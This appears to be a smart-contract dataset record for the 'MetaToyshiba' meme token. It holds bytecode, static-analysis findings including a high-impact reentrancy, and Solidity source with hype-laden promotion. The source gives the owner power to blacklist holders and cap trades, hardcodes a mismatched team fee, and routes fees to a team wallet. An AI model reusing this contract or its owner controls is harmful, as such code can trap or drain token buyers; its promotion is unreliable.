6166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e736665722077696c6c206578636565642077616c6c6574206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357616c6c65744c696d69743a20416c72656164792073657420746f20746869732076616c7565546f74616c2064656661756c74206665652063616e206e6f74206265206d6f7265207468616e203235a264697066735822122082f59994d6d016e8367042316424bec246b677c241672bccf688f3c7d79fd05664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,004 |
0xd15debef1330a03c6bb286e6bf91619d9dcc5915
|
/**
*Welcome MetaToyshiba $METASHIBA
The Metaverse virtual space is the upcoming trend of the crypto market and MetaToyshiba
$METASHIBA is the leading token in that trend.
The combination of 2 hot trends Metaverse + Shiba have created MetaToyshiba $METASHIBA.
We want to create a virtual world with NFT shiba where each shiba has a unique,
unmistakable identity. We have seen the trend of shiba tokens already X many times according
to Elon's tweet and this time was no exception. Let's take MetaToyshiba
$METASHIBA to dominate the virtual space market and get to the top 1 of dextool right now.
Token Economics
Total Supply: 1,000,000,000,000
- Listing : 60%
- Burn: 35%
- Team & MKT: 5%
*/
// https://t.me/METATOYSHIBA
// https://twitter.com/METATOYSHIBA
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract METASHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " META TOYSHIBA ";
string private constant _symbol = " METASHIBA ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 6);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4f565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e34565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612923565b61048d565b6040516101e09190612e34565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613066565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ef565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b19190612ff1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d66565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4f565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e34565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ae565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a41565b6110d2565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e7565b61121b565b6040516104189190612ff1565b60405180910390f35b60606040518060400160405280600f81526020017f204d45544120544f595348494241200000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b6105568560405180606001604052806028815260200161372a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f31565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f31565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d04565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f204d455441534849424120000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f31565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613307565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d72565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f31565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128be565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128be565b6040518363ffffffff1660e01b8152600401610e1f929190612d81565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128be565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd3565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6a565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612daa565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612a18565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f31565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612ef1565b60405180910390fd5b6111d960646111cb83683635c9adc5dea0000061206c90919063ffffffff16565b6120e790919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112109190612ff1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612eb1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612ff1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612e71565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612f51565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600e60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612fd1565b60405180910390fd5b5b5b600f5481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600e60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a739190613127565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600e60159054906101000a900460ff16158015611b2f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600e60169054906101000a900460ff165b15611b6f57611b5581611d72565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e84848484612131565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612e4f565b60405180910390fd5b5060008385611c8b9190613208565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d00573d6000803e3d6000fd5b5050565b6000600654821115611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290612e91565b60405180910390fd5b6000611d5561215e565b9050611d6a81846120e790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfe5781602001602082028036833780820191505090505b5090503081600081518110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128be565b81600181518110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201b95949392919061300c565b600060405180830381600087803b15801561203557600080fd5b505af1158015612049573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207f57600090506120e1565b6000828461208d91906131ae565b905082848261209c919061317d565b146120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390612f11565b60405180910390fd5b809150505b92915050565b600061212983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612189565b905092915050565b8061213f5761213e6121ec565b5b61214a84848461221d565b80612158576121576123e8565b5b50505050565b600080600061216b6123fa565b9150915061218281836120e790919063ffffffff16565b9250505090565b600080831182906121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c79190612e4f565b60405180910390fd5b50600083856121df919061317d565b9050809150509392505050565b600060085414801561220057506000600954145b1561220a5761221b565b600060088190555060006009819055505b565b60008060008060008061222f8761245c565b95509550955095509550955061228d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e8161256b565b6123788483612628565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d59190612ff1565b60405180910390a3505050505050505050565b60036008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612430683635c9adc5dea000006006546120e790919063ffffffff16565b82101561244f57600654683635c9adc5dea00000935093505050612458565b81819350935050505b9091565b60008060008060008060008060006124788a6008546006612662565b925092509250600061248861215e565b9050600080600061249b8e8787876126f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b600080828461251c9190613127565b905083811015612561576040517f08c379a000000000000000000000